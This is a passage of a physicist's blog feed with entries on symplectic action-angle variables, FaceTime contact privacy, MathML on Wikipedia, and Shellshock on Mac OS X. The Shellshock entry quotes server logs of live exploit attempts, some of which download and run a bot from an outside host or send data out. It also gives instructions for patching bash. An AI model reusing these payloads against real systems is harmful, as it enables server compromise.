  987. <div class="numberedEq" id="e2823:phidef"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>d</mi><msup><mi>&#x03C6;</mi> <mi>i</mi></msup><mo>=</mo><msub><mi>i</mi> <mrow><mo>&#x02202;</mo><mo stretchy="false">/</mo><mo>&#x02202;</mo><msub><mi>K</mi> <mi>i</mi></msub></mrow></msub><mi>&#x003C9;</mi></mrow><annotation encoding='application/x-tex'>d\varphi^i = i_{\partial/\partial K_i}\omega
  988. </annotation></semantics></math></div>
  989.  
  990.  
  991.  
  992. Great!
  993.  
  994. Except that, for a general symplectic manifold, there&#8217;s no analogue of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>\theta</annotation></semantics></math>. In particular, it&#8217;s trivial to construct examples of symplectic manifolds, foliated by Lagrangian tori, for which no choice of action variables, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math>, exist.
  995.  
  996. As a simple example, take
  997. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x003C9;</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msup><mi>T</mi> <mn>4</mn></msup><mo>,</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>1</mn></msub><mo>&#x02227;</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>3</mn></msub><mo>+</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>2</mn></msub><mo>&#x02227;</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>4</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  998.  (\mathcal{M},\omega)= (T^4, d\theta_1\wedge d\theta_3 +d\theta_2\wedge d\theta_4)
  999. </annotation></semantics></math>
  1000. Obviously, we can foliate this by Lagrangian tori (taking <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>T</mi></mrow><annotation encoding='application/x-tex'>T</annotation></semantics></math> to be the subsets <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">{</mo><msub><mi>&#x003B8;</mi> <mn>1</mn></msub><mo>,</mo><msub><mi>&#x003B8;</mi> <mn>2</mn></msub><mo>=</mo><mtext>const</mtext><mo stretchy="false">}</mo></mrow><annotation encoding='application/x-tex'>\{\theta_1, \theta_2=\text{const}\}</annotation></semantics></math>). But the corresponding action variables don&#8217;t exist. We&#8217;d happily choose <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub><mo>=</mo><msub><mi>&#x003B8;</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i=\theta_i</annotation></semantics></math>, for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>i</mi><mo>=</mo><mn>1</mn><mo>,</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>i=1,2</annotation></semantics></math>, but those aren&#8217;t single-valued functions on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math>. You could try to use functions that are actually single-valued (e.g., <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub><mo>=</mo><mi>sin</mi><mo stretchy="false">(</mo><msub><mi>&#x003B8;</mi> <mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>K_i=\sin(\theta_i)</annotation></semantics></math>), but then the corresponding 1-forms, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x003B7;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\eta^i</annotation></semantics></math>, in <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>=</mo><msub><mi>dK</mi> <mi>i</mi></msub><mo>&#x02227;</mo><msup><mi>&#x003B7;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\omega = dK_i\wedge\eta^i</annotation></semantics></math>, don&#8217;t have <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>2</mn><mi>&#x003C0;</mi><mo>&#x000D7;</mo></mrow><annotation encoding='application/x-tex'>2\pi\times</annotation></semantics></math>integral periods (heck, they&#8217;re not even closed!).
  1001.  
  1002. <p>
  1003. Surely, there&#8217;s some sort of cohomological characterization of when Action-Angle variables exist. The situation feels a lot like the characterization of when symplectomorphisms (vector fields that preserve the symplectic form) are actually
  1004. <em>Hamiltonian</em> vector fields<sup><a href='#AAF2'>2</a></sup>.</p>
  1005.  
  1006. And, even when the obstruction vanishes, how do we generalize the construction (<a href="#e2823:Kdef">1</a>), (<a href="#e2823:phidef">2</a>) to more general symplectic manifolds?
  1007.  
  1008. <div id="AAU1" class="update"><h4>Update:</h4> Just to be clear, there are plenty of examples where you <em>can</em> construct action-angle variables for foliations of symplectic manifolds which are not cotangent bundles. An easy example is
  1009. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x003C9;</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mo>(</mo><msup><mi>S</mi> <mn>2</mn></msup><mo>,</mo><mfrac><mrow><mi>r</mi><mi>dr</mi><mo>&#x02227;</mo><mi>d</mi><mi>&#x003B8;</mi></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><msup><mi>r</mi> <mn>2</mn></msup><mo stretchy="false">)</mo></mrow> <mn>2</mn></msup></mrow></mfrac><mo>)</mo></mrow></mrow><annotation encoding='application/x-tex'>
  1010. (\mathcal{M},\omega) = \left(S^2, \frac{r dr\wedge d\theta}{{(1+r^2)}^2}\right)
  1011. </annotation></semantics></math>
  1012. where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">(</mo><mi>K</mi><mo>,</mo><mi>&#x03C6;</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mo>(</mo><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mfrac><mn>1</mn><mrow><mn>2</mn><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><msup><mi>r</mi> <mn>2</mn></msup><mo stretchy="false">)</mo></mrow></mfrac><mo>,</mo><mi>&#x003B8;</mi><mo>)</mo></mrow></mrow><annotation encoding='application/x-tex'>(K,\varphi)= \left(&#x2d;\frac{1}{2(1+r^2)},\theta\right)</annotation></semantics></math> are action-angle variables for the obvious foliation by circles. This example &#8220;works&#8221; because once you remove the singular leaves (at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>r</mi><mo>=</mo><mn>0</mn><mo>,</mo><mn>&#x0221E;</mn></mrow><annotation encoding='application/x-tex'>r=0,\infty</annotation></semantics></math>), <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi></mrow><annotation encoding='application/x-tex'>\omega</annotation></semantics></math> becomes cohomologically trivial on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>&#x02032;</mo></mrow><annotation encoding='application/x-tex'>\mathcal{M}&apos;</annotation></semantics></math> and we can then use the standard construction. <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">[</mo><mi>&#x003C9;</mi><mo stretchy="false">]</mo><mo>=</mo><mn>0</mn><mo>&#x02208;</mo><msup><mi>H</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>&#x0005C;</mo><mi>S</mi><mo>,</mo><mi>&#x0211D;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>[\omega]=0\in H^2(\mathcal{M}\backslash S,\mathbb{R})</annotation></semantics></math> sounds like a sufficient condition for constructing action-angle variables. But is it necessary?</div>
  1013. <hr/>
  1014. <div id="AAF1" class="footnote"><p><sup>1</sup>I&#8217;m pretty sure we need them to be globally-constant over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>&#x02032;</mo></mrow><annotation encoding='application/x-tex'>\mathcal{M}&apos;</annotation></semantics></math>. I&#8217;ll assume there&#8217;s no obstruction to doing that.</p></div>
  1015. <div id="AAF2" class="footnote"><p><sup>2</sup>If you&#8217;re not familiar with that story, note that
  1016. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x02112;</mi> <mi>X</mi></msub><mi>&#x003C9;</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>
  1017. \mathcal{L}_X \omega = 0
  1018. </annotation></semantics></math>
  1019. is tantamount to the condition that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>i</mi> <mi>X</mi></msub><mi>&#x003C9;</mi></mrow><annotation encoding='application/x-tex'>i_X\omega</annotation></semantics></math> is a closed 1-form. If it happens that it is an <em>exact</em> 1-form,
  1020. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>i</mi> <mi>X</mi></msub><mi>&#x003C9;</mi><mo>=</mo><mi>d</mi><mi>f</mi></mrow><annotation encoding='application/x-tex'>
  1021.   i_X\omega = d f
  1022. </annotation></semantics></math>
  1023. then <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>X</mi><mo>=</mo><mo stretchy="false">{</mo><mi>f</mi><mo>,</mo><mo>&#x022C5;</mo><mo stretchy="false">}</mo></mrow><annotation encoding='application/x-tex'>X = \{f,\cdot\}</annotation></semantics></math> is a Hamiltonian vector field. The obstruction to writing <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>X</mi></mrow><annotation encoding='application/x-tex'>X</annotation></semantics></math> as a Hamiltonian vector field is, thus, the de Rham cohomology class, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">[</mo><msub><mi>i</mi> <mi>X</mi></msub><mi>&#x003C9;</mi><mo stretchy="false">]</mo><mo>&#x02208;</mo><msup><mi>H</mi> <mn>1</mn></msup><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x0211D;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>[i_X\omega]\in H^1(\mathcal{M},\mathbb{R})</annotation></semantics></math>.
  1024. </p>
  1025. <p>In the example at hand, that&#8217;s exactly what is going on. Any single-valued function, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>H</mi><mo stretchy="false">(</mo><msub><mi>&#x003B8;</mi> <mn>1</mn></msub><mo>,</mo><msub><mi>&#x003B8;</mi> <mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>H(\theta_1,\theta_2)</annotation></semantics></math>, is an &#8220;integrable&#8221; Hamiltonian for the above foliation. But the symmetries, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>X</mi> <mn>1</mn></msub><mo>=</mo><mfrac><mo>&#x02202;</mo><mrow><mo>&#x02202;</mo><msub><mi>&#x003B8;</mi> <mn>3</mn></msub></mrow></mfrac></mrow><annotation encoding='application/x-tex'>X_1=\frac{\partial}{\partial\theta_3}</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>X</mi> <mn>2</mn></msub><mo>=</mo><mfrac><mo>&#x02202;</mo><mrow><mo>&#x02202;</mo><msub><mi>&#x003B8;</mi> <mn>4</mn></msub></mrow></mfrac></mrow><annotation encoding='application/x-tex'>X_2=\frac{\partial}{\partial\theta_4}</annotation></semantics></math> are <em>not</em> Hamiltonian vector fields. Hence, there are no corresponding conserved action variables.</p>
  1026. </div>
  1027.  
  1028.      </div>
  1029.    </content>
  1030.  </entry>
  1031.  <entry>
  1032.    <title type="html">Smoke Signals, Morse Code or ... ?</title>
  1033.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002793.html" />
  1034.    <updated>2014-12-18T21:14:06Z</updated>
  1035.    <published>2014-12-18T15:14:00-06:00</published>
  1036.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2793</id>
  1037.    <summary type="text">A privacy issue fails to get a real response.</summary>
  1038.    <author>
  1039.      <name>distler</name>
  1040.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1041.      <email>[email protected]</email>
  1042.    </author>
  1043.    <category term="Computers" />
  1044.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002793.html">
  1045.      <div xmlns="http://www.w3.org/1999/xhtml">
  1046. <p>It seemed like a straightforward question. If you use Apple&#8217;s <code>Contacts.app</code> to store your contacts, you&#8217;ve surely noticed this behaviour: <em>some</em> of your contacts auto-magically sprout clickable links for <a href="https://www.apple.com/mac/facetime/">Facetime</a> video/audio chats, with no intervention on your part. I was curious enough to submit a query about it, via Apple&#8217;s Support Site:</p>
  1047.  
  1048. <blockquote>
  1049.  <p>Contacts.app seems to know whether each of my contacts has registered their email for FaceTime, even if I have NEVER tried to facetime with them (or call their cell-phone or &#8230;). How does it do this? Are all of the email addresses in my addressbook automatically uploaded to Apple&#8217;s servers? If so, how do I turn this off, as it seems to be a MASSIVE invasion of my privacy.</p>
  1050. </blockquote>
  1051.  
  1052. <p>That was a month and a half ago (2014/11/02). Today, I received a response:</p>
  1053.  
  1054. <blockquote>
  1055.  <p>Dear Jacques, </p>
  1056.  
  1057. <p>Thank you for your recent email. </p>
  1058.  
  1059. <p>We sincerely understand your frustration and apologize for any inconvenience this has caused you. We understand you have questions and concerns about your contacts and FaceTime. Because of the nature and complexity of this issue, Apple does not offer this type of assistance or support through written correspondence. </p>
  1060.  
  1061. <p>For further assistance, please contact Apple Support. To locate your local Apple phone number, please visit:  </p>
  1062.  
  1063. <p>support.apple.com/kb/HE57</p>
  1064.  
  1065. <p>Thank you,
  1066. Apple Customer Care</p>
  1067. </blockquote>
  1068.  
  1069. <p>Can it really be that the explanation is too complex for &#8220;written correspondence&#8221;?  What other communication method would be more adequate?</p>
  1070.  
  1071. <p>Or maybe one of <em>you</em> know the answer. How <em>does</em> <code>Contacts.app</code> determine which of the email addresses in my addressbook have been registered for Facetime?</p>
  1072.  
  1073.      </div>
  1074.    </content>
  1075.  </entry>
  1076.  <entry>
  1077.    <title type="html">Wikipedia</title>
  1078.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002776.html" />
  1079.    <updated>2014-10-25T06:19:44Z</updated>
  1080.    <published>2014-10-25T01:19:33-06:00</published>
  1081.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2776</id>
  1082.    <summary type="text">MathML on Wikipedia</summary>
  1083.    <author>
  1084.      <name>distler</name>
  1085.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1086.      <email>[email protected]</email>
  1087.    </author>
  1088.    <category term="MathML" />
  1089.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002776.html">
  1090.      <div xmlns="http://www.w3.org/1999/xhtml">
  1091. <p>Wow! After a decade, Wikipedia finally rolls out <a href="http://lists.w3.org/Archives/Public/www-math/2014Oct/0002.html"><acronym title="Mathematical Markup Language">MathML</acronym> rendering</a>. Currently, only available (as an optional preference) to registered users. Hopefully, in a few more years, they&#8217;ll make it the default.</p>
  1092.  
  1093. <p>Some implementation details are available at <a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2014/10/24/A-quick-note-for-Mozillians-regarding-MathML-on-Wikipedia">Fr&#x000E9;d&#x000E9;ric&#8217;s blog</a>.</p>
  1094.  
  1095.  
  1096.      </div>
  1097.    </content>
  1098.  </entry>
  1099.  <entry>
  1100.    <title type="html">Shellshock and MacOSX</title>
  1101.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002770.html" />
  1102.    <updated>2014-09-30T04:34:46Z</updated>
  1103.    <published>2014-09-27T12:58:37-06:00</published>
  1104.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2770</id>
  1105.    <summary type="text">Compiling a new Bash seems to be the only salvation</summary>
  1106.    <author>
  1107.      <name>distler</name>
  1108.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1109.      <email>[email protected]</email>
  1110.    </author>
  1111.    <category term="Computers" />
  1112.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002770.html">
  1113.      <div xmlns="http://www.w3.org/1999/xhtml">
  1114. <p>Most Linux Distros have released patches for the recently-discovered &#8220;Shellshock&#8221; bug in <code>/bin/bash</code>. Apple has not, despite the fact that it uses <code>bash</code> as the default system shell (<code>/bin/sh</code>).</p>
  1115.  
  1116. <p>If you are running a webserver, you are vulnerable. Even if you avoid the obvious pitfall of writing <abbr title="Common Gateway Interface">CGI</abbr> scripts as shellscripts, you are still vulnerable if one of your Perl (or <abbr title="Hypertext Preprocessor">PHP</abbr>) scripts calls out to <code>system()</code>. Even <a href="https://news.ycombinator.com/item?id=8369776">Phusion Passenger is vulnerable</a>. And, yes, this vulnerability <em>is</em> being actively exploited on the Web.</p>
  1117.  
  1118. <blockquote><pre><code>internetsurvey-3.erratasec.com - - [24/Sep/2014:20:35:04 -0500] "GET / HTTP/1.0" 301 402 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-" - - -
  1119. hosted-by.snel.com - - [25/Sep/2014:02:50:59 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-" - - -
  1120. census1.shodan.io - - [25/Sep/2014:18:55:31 -0500] "GET / HTTP/1.1" 301 379 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69" "-" - - -
  1121. ec2-54-251-83-67.ap-southeast-1.compute.amazonaws.com - - [25/Sep/2014:20:05:01 -0500] "GET / HTTP/1.1" 301 379 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a" "-" - - -
  1122. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php5 HTTP/1.0" 301 391 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1123. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php HTTP/1.0" 301 390 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1124. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 301 395 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1125. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1126. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1127. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /test HTTP/1.0" 301 383 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1128. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/info.sh HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" -  -
  1129. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php HTTP/1.0" 404 359 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1130. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php5 HTTP/1.0" 404 360 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - -
  1131. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 404 364 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - -
  1132. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /test HTTP/1.0" 404 352 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1133. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1134. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/info.sh HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - -
  1135. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  1136. ns2.rublevski.by - - [26/Sep/2014:14:39:29 -0500] "GET / HTTP/1.1" 301 385 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=golem.ph.utexas.edu\"" "-" - - -
  1137. ns2.rublevski.by - - [26/Sep/2014:14:39:30 -0500] "GET / HTTP/1.1" 200 155 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=golem.ph.utexas.edu\"" "-" - - -
  1138. 183.16.111.67 - - [26/Sep/2014:15:09:21 -0500] "GET /category/2007/07/making_adscft_precise.html%0A HTTP/1.1" 301 431 "-" "() { :;}; echo -e 'detector'" "-" - - -
  1139. 183.16.111.67 - - [26/Sep/2014:15:09:23 -0500] "GET /category/2007/07/making_adscft_precise.html%0D%0A HTTP/1.1" 301 434 "-" "() { :;}; echo -e 'detector'" "-" - - -
  1140. 183.16.111.67 - - [26/Sep/2014:15:09:24 -0500] "GET /category/2007/07/making_adscft_precise.html%0d%0a HTTP/1.1" 404 393 "-" "() { :;}; echo -e 'detector'" "-" - - -
  1141. 183.16.111.67 - - [26/Sep/2014:15:09:33 -0500] "GET /category/2007/07/making_adscft_precise.html%0a HTTP/1.1" 404 392 "-" "() { :;}; echo -e 'detector'" "-" - - -
  1142. 183.16.111.67 - - [26/Sep/2014:15:11:41 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0A HTTP/1.1" 301 439 "-" "() { :;}; echo -e 'detector'" "-" - - -
  1143. 183.16.111.67 - - [26/Sep/2014:15:11:44 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0a HTTP/1.1" 404 400 "-" "() { :;}; echo -e 'detector'" "-" - - -</code></pre></blockquote>
  1144.  
  1145. <p>Some of these look like harmless probes; others (like the one which tries to download and run an IRCbot on your machine) less so.</p>
  1146.  
  1147. <p>If you&#8217;re not running a webserver, the danger is less clear. There are persistent (but <a href="https://golem.ph.utexas.edu/~distler/blog/archives/002770.html#ShellshockU1">apparently incorrect</a>) rumours that Apple&#8217;s <abbr title="Dynamic Host Configuration Protocol">DHCP</abbr> client may be vulnerable. If true, then your iPhone could <em>easily</em> be pwned by a rogue <abbr>DHCP</abbr> server (running on someone&#8217;s laptop) at Starbucks.</p>
  1148.  
  1149. <p>I don&#8217;t know what to do about your iPhone, but at least you can patch your MacOSX machine yourself.</p>
  1150.  
  1151. <p>The following instructions (adapted from <a href="http://nkush.blogspot.com/">this blog post</a>) are for MacOSX 10.9 (Mavericks). The idea is to download Apple&#8217;s source code for <code>bash</code>, patch it using the official <code>bash</code> patches, and recompile.  If you are running an earlier version of MacOSX, you&#8217;ll have to download the appropriate package from <a href="http://opensource.apple.com/tarballs/bash/">Apple</a> and use the corresponding <a href="https://ftp.gnu.org/pub/gnu/bash/">patches for <code>bash</code></a>. Of course, you&#8217;ll need <a href="https://itunes.apple.com/us/app/xcode/id497799835?mt=12">XCode</a>, which is free from the App Store.</p>
  1152.  
  1153. <p>Fire up <code>Terminal.app</code> and do</p>
  1154.  
  1155. <blockquote><pre><code>mkdir bash
  1156. cd bash/
  1157. curl -O https://opensource.apple.com/tarballs/bash/bash-92.tar.gz
  1158. tar xzf bash-92.tar.gz
  1159. cd bash-92/bash-3.2/
  1160. curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 | patch -p0
  1161. curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-053 | patch -p0
  1162. curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-054 | patch -p0
  1163. cd ..
  1164. xcodebuild
  1165. sudo cp /bin/bash /bin/bash.vulnerable
  1166. sudo cp /bin/sh /bin/sh.vulnerable
  1167. sudo chmod 0000 /bin/*.vulnerable
  1168. sudo cp build/Release/bash build/Release/sh /bin/</code></pre></blockquote>
  1169.  
  1170. <p>Now you can try (in a new shell)</p>
  1171.  
  1172. <blockquote><pre><code>echo $BASH_VERSION</code></pre></blockquote>
  1173.  
  1174. <p>which should yield</p>
  1175.  
  1176. <blockquote><pre><code>3.2.54(1)-release</code></pre></blockquote>
  1177.  
  1178. <p>Similarly,</p>
  1179.  
  1180. <blockquote><pre><code>env x='() { :;}; echo vulnerable' bash -c "echo this is a test"</code></pre></blockquote>
  1181.  
  1182. <p>should yield</p>
  1183.  
  1184. <blockquote><pre><code>bash: warning: x: ignoring function definition attempt
  1185. bash: error importing function definition for `x'
  1186. this is a test</code></pre></blockquote>
  1187.  
  1188. <p>and</p>
  1189.  
  1190. <blockquote><pre><code>env X='() { (a)=>\' sh -c "echo date"; cat echo</code></pre></blockquote>
  1191.  
  1192. <p>should yield</p>
  1193.  
  1194. <blockquote><pre><code>sh: X: line 1: syntax error near unexpected token `='
  1195. sh: X: line 1: `'
  1196. sh: error importing function definition for `X'
  1197. date
  1198. cat: echo: No such file or directory</code></pre></blockquote>
  1199.  
  1200. <p>Approach these instructions with some caution.</p>
  1201.  
  1202. <ul>
  1203. <li>You absolutely need a working version of <code>/bin/sh</code> for your system to function.</li>
  1204. <li>If you have a bunch of machines to update (as I did), you may be better-off copying the new versions of <code>bash</code> and <code>sh</code> onto a thumb drive and using that to update your other machines.</li>
  1205. </ul>
  1206.  
  1207. <div id="ShellshockU1" class="update"><h4>Update (9/28/2014):</h4> Apple has <a href="http://www.imore.com/apple-working-quickly-protect-os-x-against-shellshock-exploit">issued a statement</a> to the effect that ordinary client systems are not remote-exploitable. At least as far as <abbr>DHCP</abbr> goes, that seems to be the case. The <abbr>DHCP</abbr> client functionality is implemented by <span title="/System/Library/SystemConfiguration/IPConfiguration.bundle/Contents/MacOS/IPConfiguration">the <code>IPConfiguration</code> agent</span>, run by <a href='https://developer.apple.com/library/mac/documentation/Darwin/Reference/Manpages/man8/configd.8.html#//apple_ref/doc/man/8/configd'><code>configd</code></a>; no shellscripts are involved (unlike, say, <a href="http://linux.die.net/man/8/dhclient">under Linux</a>). There are other subsystems to worry about (<a href="https://www.cups.org/"><acronym title="Common Unix Printing System">CUPS</acronym></a>, SNMP, &#8230;), even on &#x0201C;client&#x0201D; systems. But I think I&#x02019;ll give Apple the benefit of the doubt on that score.</div>
  1208.  
  1209. <div id="ShellshockU2" class="update"><h4>Update (9/29/2014):</h4> Apple has finally issued Bash patches for <a href="http://support.apple.com/kb/DL1769">Mavericks</a>, <a href="http://support.apple.com/kb/DL1768">Mountain Lion</a> and <a href="http://support.apple.com/kb/DL1767">Lion</a>. Oddly, these only bring Bash up to 3.2.53, rather than 3.2.54 (which is the latest, and hopefully final, iteration defanging the Shellshock attack).</div>
  1210.  
  1211.      </div>
  1212.    </content>
  1213.  </entry>
  1214.  <entry>
  1215.    <title type="html">Golem V</title>
  1216.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002763.html" />
